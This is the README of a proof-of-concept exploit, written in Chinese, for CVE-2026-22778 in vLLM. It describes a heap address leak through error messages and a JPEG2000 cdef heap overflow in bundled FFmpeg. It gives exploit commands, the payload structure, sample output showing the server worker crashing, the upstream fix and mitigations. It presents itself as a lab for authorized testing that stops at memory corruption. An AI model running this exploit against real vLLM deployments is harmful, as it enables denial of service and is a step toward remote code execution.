CVE-2026-22778 的概念验证漏洞利用程序,针对 vLLM 视频处理中的未认证远程代码执行(RCE),演示了堆地址泄露以及 FFmpeg JPEG2000 解码器中的堆缓冲区溢出。包含一个用于授权测试的易受攻击实验环境。
| CVE | CVE-2026-22778 |
| 公告 | GHSA-4r2x-xpjr-7cvv |
| 受影响版本 | vLLM >= 0.8.3, < 0.14.1(提供视频模型服务的部署) |
| 修复版本 | vLLM 0.14.1 |
| CVSS | 9.8 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| 底层缺陷 | CVE-2025-9951 — FFmpeg JPEG2000 解码器中的堆缓冲区溢出 |
两个独立的缺陷被串联利用。默认的 vllm serve 没有任何认证,因此两者都可以在未认证状态下通过 /v1/chat/completions 和 /v1/invocations 端点触达。
当图片解析失败时,Pillow 会抛出一个异常,其消息中嵌入了它所读取的 BytesIO 对象的 repr():
cannot identify image file <_io.BytesIO object at 0x7f4a9c2e1d50>
vLLM 将媒体加载失败转换为 HTTP 400,并将 exc.detail 原封不动地返回给客户端
(api_server.py):
async def http_exception_handler(_: Request, exc: HTTPException):
err = ErrorResponse(
error=ErrorInfo(
message=exc.detail, # <-- 原样泄露地址
...
这一个地址将堆 ASLR 从约 32 位熵降低到大约 3 位,这正是使阶段 2 可被利用(而不仅仅是导致崩溃)的关键。
服务器获取 video_url 并将其交给 OpenCV:
MediaConnector.load_from_url() vllm/multimodal/utils.py
-> OpenCVVideoBackend.load_bytes() vllm/multimodal/video.py
-> cv2.VideoCapture(BytesIO(data), backend, [])
-> FFmpeg 5.1.x (bundled in opencv-python-headless < 4.13)
vLLM 固定使用了 opencv-python-headless >= 4.11.0,其中捆绑了 FFmpeg 5.1.x。其 JPEG2000 解码器直接从文件的通道定义(cdef)框中选取目标平面 — libavcodec/jpeg2000dec.c,write_frame_8:
if (planar)
plane = s->cdef[compno] ? s->cdef[compno]-1 : (s->ncomponents-1);
...
int w = tile->comp[compno].coord[0][1] - ...; /* 来自组件 */
int h = tile->comp[compno].coord[1][1] - ...; /* 而非平面! */
plane 由攻击者控制,但 w/h 来自正在解码的组件,且没有任何检查确保两者相互匹配。cdef 条目 cn=0, asoc=2 将组件 0(全分辨率亮度平面)发送到平面 1(2×2 子采样色度平面)。
对于此 PoC 使用的 150×64 帧:
| 大小 | |
|---|---|
| Y 组件(写入) | 150 × 64 = 9,600 字节 |
| U 平面(目标) | 75 × 32 = 2,400 字节 |
| 溢出 | 超出分配 7,200 字节 |
FFmpeg 将每个平面分配为独立的 AVBuffer,因此溢出会穿过相邻的堆块 — 包括持有 free 函数指针的 AVBuffer 结构体。结合阶段 1 的泄露,覆写该指针是将内存破坏转化为代码执行的关键。
此 PoC 止步于内存破坏。 它通过杀死服务器进程来证明越界写入。堆整理和函数指针覆写被有意未实现。
lab/app.py 是 vLLM 0.13.0 多模态摄取路径的最小化重实现 — MediaConnector、ImageMediaIO、OpenCVVideoBackend 以及补丁前的错误处理器,每个部分都标注了其对应的上游文件。模型运行时被桩替代:漏洞完全存在于媒体摄取中,该过程在推理之前执行,不需要 GPU 或模型权重。
攻击路径上的所有组件都是真实组件 — 泄露地址的同一个 Pillow 调用,以及进入未打补丁的 opencv-python-headless==4.11.0.86(FFmpeg 5.1.x,libavcodec 59.37.100)的同一个 cv2.VideoCapture 调用。
docker compose up -d --build
python3 exploit.py
选项:
python3 exploit.py --target http://localhost:8000
python3 exploit.py --serve # 通过 HTTP 传递载荷
python3 exploit.py --write-payload evil.jp2 # 仅写入恶意文件
该漏洞利用仅使用纯标准库 — 无任何依赖。
[*] Stage 1 -- heap address disclosure via PIL error message
HTTP 400
cannot identify image file <_io.BytesIO object at 0xffff8f555300>
[+] Leaked heap address: 0xffff8f555300
ASLR bypassed: the heap base is now known to ~3 bits of entropy.
[*] Stage 2 -- heap buffer overflow in the JPEG2000 decoder
Target alive: boot_id=95b62f18-13c0-4d6d-97d3-1b029207dc01 pid=1
Payload: 203 bytes, 150x64 yuv420p JP2
cdef maps component 0 -> plane 1: writes 9600 bytes into a 2400-byte plane (7200-byte overflow)
Request never completed: Remote end closed connection without response
Probing /health to see what happened to the worker...
[+] Worker was killed and restarted: boot_id 95b62f18-... -> 4494d28c-...
[+] Out-of-bounds write confirmed.
以及服务器端:
$ docker compose logs vllm
cve-2026-22778-lab | INFO: POST /v1/chat/completions HTTP/1.1" 400 Bad Request
cve-2026-22778-lab | corrupted size vs. prev_size
cve-2026-22778-lab | INFO: Started server process [1]
清理:
docker compose down
203 字节,在 build_payload() 中从零构建。一个 JP2 容器,包含一个极简的 JPEG2000 码流,声明三个组件采用 4:2:0 子采样(因此 FFmpeg 分配 yuv420p 帧),外加一个重新映射这些组件的 cdef 框:
cn=0, typ=0, asoc=2 <-- 组件 0(全分辨率)进入平面 1(子采样)
cn=1, typ=0, asoc=2
cn=2, typ=0, asoc=3
系数数据为空。解码器仍然根据 SIZ 头分配帧并运行写入循环,因此不需要真实的图像数据。
vLLM 0.14.1,通过三个 PR:
上游 FFmpeg 现在会拒绝不是通道排列的 cdef 映射,并根据重新映射的索引推导像素格式:
int cdef_used = 0;
for (i = 0; i < s->ncomponents; i++)
cdef_used |= 1<<s->cdef[i];
if (cdef_used != ((int[]){0,2,3,14,15})[s->ncomponents])
return AVERROR_INVALIDDATA;
将实验环境的固定版本切换为 opencv-python-headless>=4.13.0 会使相同的载荷以 error during processing marker segment ff51 无害地失败。
如果无法升级:不要提供视频模型服务,在 API 前添加认证,并使用 --allowed-media-domains 限制媒体获取。
docker compose 为原生 arm64 架构构建(默认行为)。强制使用 --platform linux/amd64 会在模拟下运行容器,此时中止的进程会挂起而非退出,崩溃更难观察。仅供教育和授权安全测试使用。请仅针对本仓库中的实验环境或您拥有明确测试权限的系统运行。